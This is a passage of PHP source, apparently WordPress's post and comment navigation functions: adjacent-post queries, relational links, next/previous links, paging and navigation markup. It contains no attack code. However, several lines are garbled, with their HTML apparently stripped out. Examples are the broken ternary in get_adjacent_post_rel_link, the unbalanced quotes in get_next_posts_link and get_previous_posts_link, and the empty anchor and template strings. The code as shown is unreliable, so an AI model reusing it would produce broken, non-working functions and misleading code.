Possible hook names include: * * - `get_next_post_join` * - `get_previous_post_join` * * @since 2.5.0 * @since 4.4.0 Added the `$taxonomy` and `$post` parameters. * * @param string $join The JOIN clause in the SQL. * @param bool $in_same_term Whether post should be in a same taxonomy term. * @param array $excluded_terms Array of excluded term IDs. * @param string $taxonomy Taxonomy. Used to identify the term used when `$in_same_term` is true. * @param WP_Post $post WP_Post object. */ $join = apply_filters( "get_{$adjacent}_post_join", $join, $in_same_term, $excluded_terms, $taxonomy, $post ); /** * Filters the WHERE clause in the SQL for an adjacent post query. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * Possible hook names include: * * - `get_next_post_where` * - `get_previous_post_where` * * @since 2.5.0 * @since 4.4.0 Added the `$taxonomy` and `$post` parameters. * * @param string $where The `WHERE` clause in the SQL. * @param bool $in_same_term Whether post should be in a same taxonomy term. * @param array $excluded_terms Array of excluded term IDs. * @param string $taxonomy Taxonomy. Used to identify the term used when `$in_same_term` is true. * @param WP_Post $post WP_Post object. */ $where = apply_filters( "get_{$adjacent}_post_where", $wpdb->prepare( "WHERE p.post_date $op %s AND p.post_type = %s $where", $current_post_date, $post->post_type ), $in_same_term, $excluded_terms, $taxonomy, $post ); /** * Filters the ORDER BY clause in the SQL for an adjacent post query. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * Possible hook names include: * * - `get_next_post_sort` * - `get_previous_post_sort` * * @since 2.5.0 * @since 4.4.0 Added the `$post` parameter. * @since 4.9.0 Added the `$order` parameter. * * @param string $order_by The `ORDER BY` clause in the SQL. * @param WP_Post $post WP_Post object. * @param string $order Sort order. 'DESC' for previous post, 'ASC' for next. */ $sort = apply_filters( "get_{$adjacent}_post_sort", "ORDER BY p.post_date $order LIMIT 1", $post, $order ); $query = "SELECT p.ID FROM $wpdb->posts AS p $join $where $sort"; $query_key = 'adjacent_post_' . md5( $query ); $result = wp_cache_get( $query_key, 'counts' ); if ( false !== $result ) { if ( $result ) { $result = get_post( $result ); } return $result; } $result = $wpdb->get_var( $query ); if ( null === $result ) { $result = ''; } wp_cache_set( $query_key, $result, 'counts' ); if ( $result ) { $result = get_post( $result ); } return $result; } /** * Retrieves the adjacent post relational link. * * Can either be next or previous post relational link. * * @since 2.8.0 * * @param string $title Optional. Link title format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param bool $previous Optional. Whether to display link to previous or next post. Default true. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return string|void The adjacent post relational link URL. */ function get_adjacent_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) { $post = get_post(); if ( $previous && is_attachment() && $post ) { $post = get_post( $post->post_parent ); } else { $post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy ); } if ( empty( $post ) ) { return; } $post_title = the_title_attribute( array( 'echo' => false, 'post' => $post, ) ); if ( empty( $post_title ) ) { $post_title = $previous ? __( 'Previous Post' ) : __( 'Next Post' ); } $date = mysql2date( get_option( 'date_format' ), $post->post_date ); $title = str_replace( '%title', $post_title, $title ); $title = str_replace( '%date', $date, $title ); $link = $previous ? "\n"; $adjacent = $previous ? 'previous' : 'next'; /** * Filters the adjacent post relational link. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * Possible hook names include: * * - `next_post_rel_link` * - `previous_post_rel_link` * * @since 2.8.0 * * @param string $link The relational link. */ return apply_filters( "{$adjacent}_post_rel_link", $link ); } /** * Displays the relational links for the posts adjacent to the current post. * * @since 2.8.0 * * @param string $title Optional. Link title format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. */ function adjacent_posts_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy ); echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy ); } /** * Displays relational links for the posts adjacent to the current post for single post pages. * * This is meant to be attached to actions like 'wp_head'. Do not call this directly in plugins * or theme templates. * * @since 3.0.0 * @since 5.6.0 No longer used in core. * * @see adjacent_posts_rel_link() */ function adjacent_posts_rel_link_wp_head() { if ( ! is_single() || is_attachment() ) { return; } adjacent_posts_rel_link(); } /** * Displays the relational link for the next post adjacent to the current post. * * @since 2.8.0 * * @see get_adjacent_post_rel_link() * * @param string $title Optional. Link title format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. */ function next_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy ); } /** * Displays the relational link for the previous post adjacent to the current post. * * @since 2.8.0 * * @see get_adjacent_post_rel_link() * * @param string $title Optional. Link title format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default true. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. */ function prev_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy ); } /** * Retrieves the boundary post. * * Boundary being either the first or last post by publish date within the constraints specified * by $in_same_term or $excluded_terms. * * @since 2.8.0 * * @param bool $in_same_term Optional. Whether returned post should be in a same taxonomy term. * Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. * Default empty. * @param bool $start Optional. Whether to retrieve first or last post. Default true * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return null|array Array containing the boundary post object if successful, null otherwise. */ function get_boundary_post( $in_same_term = false, $excluded_terms = '', $start = true, $taxonomy = 'category' ) { $post = get_post(); if ( ! $post || ! is_single() || is_attachment() || ! taxonomy_exists( $taxonomy ) ) { return null; } $query_args = array( 'posts_per_page' => 1, 'order' => $start ? 'ASC' : 'DESC', 'update_post_term_cache' => false, 'update_post_meta_cache' => false, ); $term_array = array(); if ( ! is_array( $excluded_terms ) ) { if ( ! empty( $excluded_terms ) ) { $excluded_terms = explode( ',', $excluded_terms ); } else { $excluded_terms = array(); } } if ( $in_same_term || ! empty( $excluded_terms ) ) { if ( $in_same_term ) { $term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) ); } if ( ! empty( $excluded_terms ) ) { $excluded_terms = array_map( 'intval', $excluded_terms ); $excluded_terms = array_diff( $excluded_terms, $term_array ); $inverse_terms = array(); foreach ( $excluded_terms as $excluded_term ) { $inverse_terms[] = $excluded_term * -1; } $excluded_terms = $inverse_terms; } $query_args['tax_query'] = array( array( 'taxonomy' => $taxonomy, 'terms' => array_merge( $term_array, $excluded_terms ), ), ); } return get_posts( $query_args ); } /** * Retrieves the previous post link that is adjacent to the current post. * * @since 3.7.0 * * @param string $format Optional. Link anchor format. Default '« %link'. * @param string $link Optional. Link permalink format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return string The link URL of the previous post in relation to the current post. */ function get_previous_post_link( $format = '« %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, true, $taxonomy ); } /** * Displays the previous post link that is adjacent to the current post. * * @since 1.5.0 * * @see get_previous_post_link() * * @param string $format Optional. Link anchor format. Default '« %link'. * @param string $link Optional. Link permalink format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. */ function previous_post_link( $format = '« %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { echo get_previous_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy ); } /** * Retrieves the next post link that is adjacent to the current post. * * @since 3.7.0 * * @param string $format Optional. Link anchor format. Default '« %link'. * @param string $link Optional. Link permalink format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return string The link URL of the next post in relation to the current post. */ function get_next_post_link( $format = '%link »', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, false, $taxonomy ); } /** * Displays the next post link that is adjacent to the current post. * * @since 1.5.0 * * @see get_next_post_link() * * @param string $format Optional. Link anchor format. Default '« %link'. * @param string $link Optional. Link permalink format. Default '%title' * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. */ function next_post_link( $format = '%link »', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { echo get_next_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy ); } /** * Retrieves the adjacent post link. * * Can be either next post link or previous. * * @since 3.7.0 * * @param string $format Link anchor format. * @param string $link Link permalink format. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded terms IDs. Default empty. * @param bool $previous Optional. Whether to display link to previous or next post. Default true. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return string The link URL of the previous or next post in relation to the current post. */ function get_adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) { if ( $previous && is_attachment() ) { $post = get_post( get_post()->post_parent ); } else { $post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy ); } if ( ! $post ) { $output = ''; } else { $title = $post->post_title; if ( empty( $post->post_title ) ) { $title = $previous ? __( 'Previous Post' ) : __( 'Next Post' ); } /** This filter is documented in wp-includes/post-template.php */ $title = apply_filters( 'the_title', $title, $post->ID ); $date = mysql2date( get_option( 'date_format' ), $post->post_date ); $rel = $previous ? 'prev' : 'next'; $string = ''; $inlink = str_replace( '%title', $title, $link ); $inlink = str_replace( '%date', $date, $inlink ); $inlink = $string . $inlink . ''; $output = str_replace( '%link', $inlink, $format ); } $adjacent = $previous ? 'previous' : 'next'; /** * Filters the adjacent post link. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * Possible hook names include: * * - `next_post_link` * - `previous_post_link` * * @since 2.6.0 * @since 4.2.0 Added the `$adjacent` parameter. * * @param string $output The adjacent post link. * @param string $format Link anchor format. * @param string $link Link permalink format. * @param WP_Post $post The adjacent post. * @param string $adjacent Whether the post is previous or next. */ return apply_filters( "{$adjacent}_post_link", $output, $format, $link, $post, $adjacent ); } /** * Displays the adjacent post link. * * Can be either next post link or previous. * * @since 2.5.0 * * @param string $format Link anchor format. * @param string $link Link permalink format. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded category IDs. Default empty. * @param bool $previous Optional. Whether to display link to previous or next post. Default true. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. */ function adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) { echo get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, $previous, $taxonomy ); } /** * Retrieves the link for a page number. * * @since 1.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param int $pagenum Optional. Page number. Default 1. * @param bool $escape Optional. Whether to escape the URL for display, with esc_url(). Defaults to true. * Otherwise, prepares the URL with esc_url_raw(). * @return string The link URL for the given page number. */ function get_pagenum_link( $pagenum = 1, $escape = true ) { global $wp_rewrite; $pagenum = (int) $pagenum; $request = remove_query_arg( 'paged' ); $home_root = parse_url( home_url() ); $home_root = ( isset( $home_root['path'] ) ) ? $home_root['path'] : ''; $home_root = preg_quote( $home_root, '|' ); $request = preg_replace( '|^' . $home_root . '|i', '', $request ); $request = preg_replace( '|^/+|', '', $request ); if ( ! $wp_rewrite->using_permalinks() || is_admin() ) { $base = trailingslashit( get_bloginfo( 'url' ) ); if ( $pagenum > 1 ) { $result = add_query_arg( 'paged', $pagenum, $base . $request ); } else { $result = $base . $request; } } else { $qs_regex = '|\?.*?$|'; preg_match( $qs_regex, $request, $qs_match ); if ( ! empty( $qs_match[0] ) ) { $query_string = $qs_match[0]; $request = preg_replace( $qs_regex, '', $request ); } else { $query_string = ''; } $request = preg_replace( "|$wp_rewrite->pagination_base/\d+/?$|", '', $request ); $request = preg_replace( '|^' . preg_quote( $wp_rewrite->index, '|' ) . '|i', '', $request ); $request = ltrim( $request, '/' ); $base = trailingslashit( get_bloginfo( 'url' ) ); if ( $wp_rewrite->using_index_permalinks() && ( $pagenum > 1 || '' !== $request ) ) { $base .= $wp_rewrite->index . '/'; } if ( $pagenum > 1 ) { $request = ( ( ! empty( $request ) ) ? trailingslashit( $request ) : $request ) . user_trailingslashit( $wp_rewrite->pagination_base . '/' . $pagenum, 'paged' ); } $result = $base . $request . $query_string; } /** * Filters the page number link for the current request. * * @since 2.5.0 * @since 5.2.0 Added the `$pagenum` argument. * * @param string $result The page number link. * @param int $pagenum The page number. */ $result = apply_filters( 'get_pagenum_link', $result, $pagenum ); if ( $escape ) { return esc_url( $result ); } else { return esc_url_raw( $result ); } } /** * Retrieves the next posts page link. * * Backported from 2.1.3 to 2.0.10. * * @since 2.0.10 * * @global int $paged * * @param int $max_page Optional. Max pages. Default 0. * @return string|void The link URL for next posts page. */ function get_next_posts_page_link( $max_page = 0 ) { global $paged; if ( ! is_single() ) { if ( ! $paged ) { $paged = 1; } $nextpage = (int) $paged + 1; if ( ! $max_page || $max_page >= $nextpage ) { return get_pagenum_link( $nextpage ); } } } /** * Displays or retrieves the next posts page link. * * @since 0.71 * * @param int $max_page Optional. Max pages. Default 0. * @param bool $echo Optional. Whether to echo the link. Default true. * @return string|void The link URL for next posts page if `$echo = false`. */ function next_posts( $max_page = 0, $echo = true ) { $output = esc_url( get_next_posts_page_link( $max_page ) ); if ( $echo ) { echo $output; } else { return $output; } } /** * Retrieves the next posts page link. * * @since 2.7.0 * * @global int $paged * @global WP_Query $wp_query WordPress Query object. * * @param string $label Content for link text. * @param int $max_page Optional. Max pages. Default 0. * @return string|void HTML-formatted next posts page link. */ function get_next_posts_link( $label = null, $max_page = 0 ) { global $paged, $wp_query; if ( ! $max_page ) { $max_page = $wp_query->max_num_pages; } if ( ! $paged ) { $paged = 1; } $nextpage = (int) $paged + 1; if ( null === $label ) { $label = __( 'Next Page »' ); } if ( ! is_single() && ( $nextpage <= $max_page ) ) { /** * Filters the anchor tag attributes for the next posts page link. * * @since 2.7.0 * * @param string $attributes Attributes for the anchor tag. */ $attr = apply_filters( 'next_posts_link_attributes', '' ); return '" . preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label ) . ''; } } /** * Displays the next posts page link. * * @since 0.71 * * @param string $label Content for link text. * @param int $max_page Optional. Max pages. Default 0. */ function next_posts_link( $label = null, $max_page = 0 ) { echo get_next_posts_link( $label, $max_page ); } /** * Retrieves the previous posts page link. * * Will only return string, if not on a single page or post. * * Backported to 2.0.10 from 2.1.3. * * @since 2.0.10 * * @global int $paged * * @return string|void The link for the previous posts page. */ function get_previous_posts_page_link() { global $paged; if ( ! is_single() ) { $nextpage = (int) $paged - 1; if ( $nextpage < 1 ) { $nextpage = 1; } return get_pagenum_link( $nextpage ); } } /** * Displays or retrieves the previous posts page link. * * @since 0.71 * * @param bool $echo Optional. Whether to echo the link. Default true. * @return string|void The previous posts page link if `$echo = false`. */ function previous_posts( $echo = true ) { $output = esc_url( get_previous_posts_page_link() ); if ( $echo ) { echo $output; } else { return $output; } } /** * Retrieves the previous posts page link. * * @since 2.7.0 * * @global int $paged * * @param string $label Optional. Previous page link text. * @return string|void HTML-formatted previous page link. */ function get_previous_posts_link( $label = null ) { global $paged; if ( null === $label ) { $label = __( '« Previous Page' ); } if ( ! is_single() && $paged > 1 ) { /** * Filters the anchor tag attributes for the previous posts page link. * * @since 2.7.0 * * @param string $attributes Attributes for the anchor tag. */ $attr = apply_filters( 'previous_posts_link_attributes', '' ); return '" . preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label ) . ''; } } /** * Displays the previous posts page link. * * @since 0.71 * * @param string $label Optional. Previous page link text. */ function previous_posts_link( $label = null ) { echo get_previous_posts_link( $label ); } /** * Retrieves the post pages link navigation for previous and next pages. * * @since 2.8.0 * * @global WP_Query $wp_query WordPress Query object. * * @param string|array $args { * Optional. Arguments to build the post pages link navigation. * * @type string $sep Separator character. Default '—'. * @type string $prelabel Link text to display for the previous page link. * Default '« Previous Page'. * @type string $nxtlabel Link text to display for the next page link. * Default 'Next Page »'. * } * @return string The posts link navigation. */ function get_posts_nav_link( $args = array() ) { global $wp_query; $return = ''; if ( ! is_singular() ) { $defaults = array( 'sep' => ' — ', 'prelabel' => __( '« Previous Page' ), 'nxtlabel' => __( 'Next Page »' ), ); $args = wp_parse_args( $args, $defaults ); $max_num_pages = $wp_query->max_num_pages; $paged = get_query_var( 'paged' ); // Only have sep if there's both prev and next results. if ( $paged < 2 || $paged >= $max_num_pages ) { $args['sep'] = ''; } if ( $max_num_pages > 1 ) { $return = get_previous_posts_link( $args['prelabel'] ); $return .= preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $args['sep'] ); $return .= get_next_posts_link( $args['nxtlabel'] ); } } return $return; } /** * Displays the post pages link navigation for previous and next pages. * * @since 0.71 * * @param string $sep Optional. Separator for posts navigation links. Default empty. * @param string $prelabel Optional. Label for previous pages. Default empty. * @param string $nxtlabel Optional Label for next pages. Default empty. */ function posts_nav_link( $sep = '', $prelabel = '', $nxtlabel = '' ) { $args = array_filter( compact( 'sep', 'prelabel', 'nxtlabel' ) ); echo get_posts_nav_link( $args ); } /** * Retrieves the navigation to next/previous post, when applicable. * * @since 4.1.0 * @since 4.4.0 Introduced the `in_same_term`, `excluded_terms`, and `taxonomy` arguments. * @since 5.3.0 Added the `aria_label` parameter. * @since 5.5.0 Added the `class` parameter. * * @param array $args { * Optional. Default post navigation arguments. Default empty array. * * @type string $prev_text Anchor text to display in the previous post link. Default '%title'. * @type string $next_text Anchor text to display in the next post link. Default '%title'. * @type bool $in_same_term Whether link should be in a same taxonomy term. Default false. * @type int[]|string $excluded_terms Array or comma-separated list of excluded term IDs. Default empty. * @type string $taxonomy Taxonomy, if `$in_same_term` is true. Default 'category'. * @type string $screen_reader_text Screen reader text for the nav element. Default 'Post navigation'. * @type string $aria_label ARIA label text for the nav element. Default 'Posts'. * @type string $class Custom class for the nav element. Default 'post-navigation'. * } * @return string Markup for post links. */ function get_the_post_navigation( $args = array() ) { // Make sure the nav element has an aria-label attribute: fallback to the screen reader text. if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) { $args['aria_label'] = $args['screen_reader_text']; } $args = wp_parse_args( $args, array( 'prev_text' => '%title', 'next_text' => '%title', 'in_same_term' => false, 'excluded_terms' => '', 'taxonomy' => 'category', 'screen_reader_text' => __( 'Post navigation' ), 'aria_label' => __( 'Posts' ), 'class' => 'post-navigation', ) ); $navigation = ''; $previous = get_previous_post_link( '', $args['prev_text'], $args['in_same_term'], $args['excluded_terms'], $args['taxonomy'] ); $next = get_next_post_link( '', $args['next_text'], $args['in_same_term'], $args['excluded_terms'], $args['taxonomy'] ); // Only add markup if there's somewhere to navigate to. if ( $previous || $next ) { $navigation = _navigation_markup( $previous . $next, $args['class'], $args['screen_reader_text'], $args['aria_label'] ); } return $navigation; } /** * Displays the navigation to next/previous post, when applicable. * * @since 4.1.0 * * @param array $args Optional. See get_the_post_navigation() for available arguments. * Default empty array. */ function the_post_navigation( $args = array() ) { echo get_the_post_navigation( $args ); } /** * Returns the navigation to next/previous set of posts, when applicable. * * @since 4.1.0 * @since 5.3.0 Added the `aria_label` parameter. * @since 5.5.0 Added the `class` parameter. * * @global WP_Query $wp_query WordPress Query object. * * @param array $args { * Optional. Default posts navigation arguments. Default empty array. * * @type string $prev_text Anchor text to display in the previous posts link. * Default 'Older posts'. * @type string $next_text Anchor text to display in the next posts link. * Default 'Newer posts'. * @type string $screen_reader_text Screen reader text for the nav element. * Default 'Posts navigation'. * @type string $aria_label ARIA label text for the nav element. Default 'Posts'. * @type string $class Custom class for the nav element. Default 'posts-navigation'. * } * @return string Markup for posts links. */ function get_the_posts_navigation( $args = array() ) { $navigation = ''; // Don't print empty markup if there's only one page. if ( $GLOBALS['wp_query']->max_num_pages > 1 ) { // Make sure the nav element has an aria-label attribute: fallback to the screen reader text. if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) { $args['aria_label'] = $args['screen_reader_text']; } $args = wp_parse_args( $args, array( 'prev_text' => __( 'Older posts' ), 'next_text' => __( 'Newer posts' ), 'screen_reader_text' => __( 'Posts navigation' ), 'aria_label' => __( 'Posts' ), 'class' => 'posts-navigation', ) ); $next_link = get_previous_posts_link( $args['next_text'] ); $prev_link = get_next_posts_link( $args['prev_text'] ); if ( $prev_link ) { $navigation .= ''; } if ( $next_link ) { $navigation .= ''; } $navigation = _navigation_markup( $navigation, $args['class'], $args['screen_reader_text'], $args['aria_label'] ); } return $navigation; } /** * Displays the navigation to next/previous set of posts, when applicable. * * @since 4.1.0 * * @param array $args Optional. See get_the_posts_navigation() for available arguments. * Default empty array. */ function the_posts_navigation( $args = array() ) { echo get_the_posts_navigation( $args ); } /** * Retrieves a paginated navigation to next/previous set of posts, when applicable. * * @since 4.1.0 * @since 5.3.0 Added the `aria_label` parameter. * @since 5.5.0 Added the `class` parameter. * * @param array $args { * Optional. Default pagination arguments, see paginate_links(). * * @type string $screen_reader_text Screen reader text for navigation element. * Default 'Posts navigation'. * @type string $aria_label ARIA label text for the nav element. Default 'Posts'. * @type string $class Custom class for the nav element. Default 'pagination'. * } * @return string Markup for pagination links. */ function get_the_posts_pagination( $args = array() ) { $navigation = ''; // Don't print empty markup if there's only one page. if ( $GLOBALS['wp_query']->max_num_pages > 1 ) { // Make sure the nav element has an aria-label attribute: fallback to the screen reader text. if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) { $args['aria_label'] = $args['screen_reader_text']; } $args = wp_parse_args( $args, array( 'mid_size' => 1, 'prev_text' => _x( 'Previous', 'previous set of posts' ), 'next_text' => _x( 'Next', 'next set of posts' ), 'screen_reader_text' => __( 'Posts navigation' ), 'aria_label' => __( 'Posts' ), 'class' => 'pagination', ) ); // Make sure we get a string back. Plain is the next best thing. if ( isset( $args['type'] ) && 'array' === $args['type'] ) { $args['type'] = 'plain'; } // Set up paginated links. $links = paginate_links( $args ); if ( $links ) { $navigation = _navigation_markup( $links, $args['class'], $args['screen_reader_text'], $args['aria_label'] ); } } return $navigation; } /** * Displays a paginated navigation to next/previous set of posts, when applicable. * * @since 4.1.0 * * @param array $args Optional. See get_the_posts_pagination() for available arguments. * Default empty array. */ function the_posts_pagination( $args = array() ) { echo get_the_posts_pagination( $args ); } /** * Wraps passed links in navigational markup. * * @since 4.1.0 * @since 5.3.0 Added the `aria_label` parameter. * @access private * * @param string $links Navigational links. * @param string $class Optional. Custom class for the nav element. * Default 'posts-navigation'. * @param string $screen_reader_text Optional. Screen reader text for the nav element. * Default 'Posts navigation'. * @param string $aria_label Optional. ARIA label for the nav element. * Defaults to the value of `$screen_reader_text`. * @return string Navigation template tag. */ function _navigation_markup( $links, $class = 'posts-navigation', $screen_reader_text = '', $aria_label = '' ) { if ( empty( $screen_reader_text ) ) { $screen_reader_text = __( 'Posts navigation' ); } if ( empty( $aria_label ) ) { $aria_label = $screen_reader_text; } $template = ' '; /** * Filters the navigation markup template. * * Note: The filtered template HTML must contain specifiers for the navigation * class (%1$s), the screen-reader-text value (%2$s), placement of the navigation * links (%3$s), and ARIA label text if screen-reader-text does not fit that (%4$s): * * * * @since 4.4.0 * * @param string $template The default template. * @param string $class The class passed by the calling function. * @return string Navigation template. */ $template = apply_filters( 'navigation_markup_template', $template, $class ); return sprintf( $template, sanitize_html_class( $class ), esc_html( $screen_reader_text ), $links, esc_html( $aria_label ) ); } /** * Retrieves the comments page number link. * * @since 2.7.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param int $pagenum Optional. Page number. Default 1. * @param int $max_page Optional. The maximum number of comment pages. Default 0. * @return string The comments page number link URL. */ function get_comments_pagenum_link( $pagenum = 1, $max_page = 0 ) { global $wp_rewrite; $pagenum = (int) $pagenum; $result = get_permalink(); if ( 'newest' === get_option( 'default_comments_page' ) ) { if ( $pagenum != $max_page ) { if ( $wp_rewrite->using_permalinks() ) { $result = user_trailingslashit( trailingslashit( $result ) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged' ); } else { $result = add_query_arg( 'cpage', $pagenum, $result ); } } } elseif ( $pagenum > 1 ) { if ( $wp_rewrite->using_permalinks() ) { $result = user_trailingslashit( trailingslashit( $result ) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged' ); } else { $result = add_query_arg( 'cpage', $pagenum, $result ); } } $result .= '#comments'; /** * Filters the comments page number link for the current request. * * @since 2.7.0 * * @param string $result The comments page number link. */ return apply_filters( 'get_comments_pagenum_link', $result ); } /** * Retrieves the link to the next comments page. * * @since 2.7.1 * * @global WP_Query $wp_query WordPress Query object. * * @param string $label Optional. Label for link text. Default empty. * @param int $max_page Optional. Max page. Default 0. * @return string|void HTML-formatted link for the next page of comments. */ function get_next_comments_link( $label = '', $max_page = 0 ) { global $wp_query; if ( ! is_singular() ) { return; } $page = get_query_var( 'cpage' ); if ( ! $page ) { $page = 1; } $nextpage = (int) $page + 1; if ( empty( $max_page ) ) { $max_page = $wp_query->max_num_comment_pages; } if ( empty( $max_page ) ) { $max_page = get_comment_pages_count(); } if ( $nextpage > $max_page ) { return; } if ( empty( $label ) ) { $label = __( 'Newer Comments »' ); } /** * Filters the anchor tag attributes for the next comments page link. * * @since 2.7.0 * * @param string $attributes Attributes for the anchor tag. */ return '' . preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label ) . ''; } /** * Displays the link to the next comments page. * * @since 2.7.0 * * @param string $label Optional. Label for link text. Default empty. * @param int $max_page Optional. Max page. Default 0. */ function next_comments_link( $label = '', $max_page = 0 ) { echo get_next_comments_link( $label, $max_page ); } /** * Retrieves the link to the previous comments page. * * @since 2.7.1 * * @param string $label Optional. Label for comments link text. Default empty. * @return string|void HTML-formatted link for the previous page of comments. */ function get_previous_comments_link( $label = '' ) { if ( ! is_singular() ) { return; } $page = get_query_var( 'cpage' ); if ( (int) $page <= 1 ) { return; } $prevpage = (int) $page - 1; if ( empty( $label ) ) { $label = __( '« Older Comments' ); } /** * Filters the anchor tag attributes for the previous comments page link. * * @since 2.7.0 * * @param string $attributes Attributes for the anchor tag. */ return '' . preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label ) . ''; } /** * Displays the link to the previous comments page. * * @since 2.7.0 * * @param string $label Optional. Label for comments link text. Default empty. */ function previous_comments_link( $label = '' ) { echo get_previous_comments_link( $label ); } /** * Displays or retrieves pagination links for the comments on the current post. * * @see paginate_links() * @since 2.7.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string|array $args Optional args. See paginate_links(). Default empty array. * @return void|string|array Void if 'echo' argument is true and 'type' is not an array, * or if the query is not for an existing single post of any post type. * Otherwise, markup for comment page links or array of comment page links, * depending on 'type' argument. */ function paginate_comments_links( $args = array() ) { global $wp_rewrite; if ( ! is_singular() ) { return; } $page = get_query_var( 'cpage' ); if ( ! $page ) { $page = 1; } $max_page = get_comment_pages_count(); $defaults = array( 'base' => add_query_arg( 'cpage', '%#%' ), 'format' => '', 'total' => $max_page, 'current' => $page, 'echo' => true, 'type' => 'plain', 'add_fragment' => '#comments', ); if ( $wp_rewrite->using_permalinks() ) { $defaults['base'] = user_trailingslashit( trailingslashit( get_permalink() ) . $wp_rewrite->comments_pagination_base . '-%#%', 'commentpaged' ); } $args = wp_parse_args( $args, $defaults ); $page_links = paginate_links( $args ); if ( $args['echo'] && 'array' !== $args['type'] ) { echo $page_links; } else { return $page_links; } } /** * Retrieves navigation to next/previous set of comments, when applicable. * * @since 4.4.0 * @since 5.3.0 Added the `aria_label` parameter. * @since 5.5.0 Added the `class` parameter. * * @param array $args { * Optional. Default comments navigation arguments. * * @type string $prev_text Anchor text to display in the previous comments link. * Default 'Older comments'. * @type string $next_text Anchor text to display in the next comments link. * Default 'Newer comments'. * @type string $screen_reader_text Screen reader text for the nav element. Default 'Comments navigation'. * @type string $aria_label ARIA label text for the nav element. Default 'Comments'. * @type string $class Custom class for the nav element. 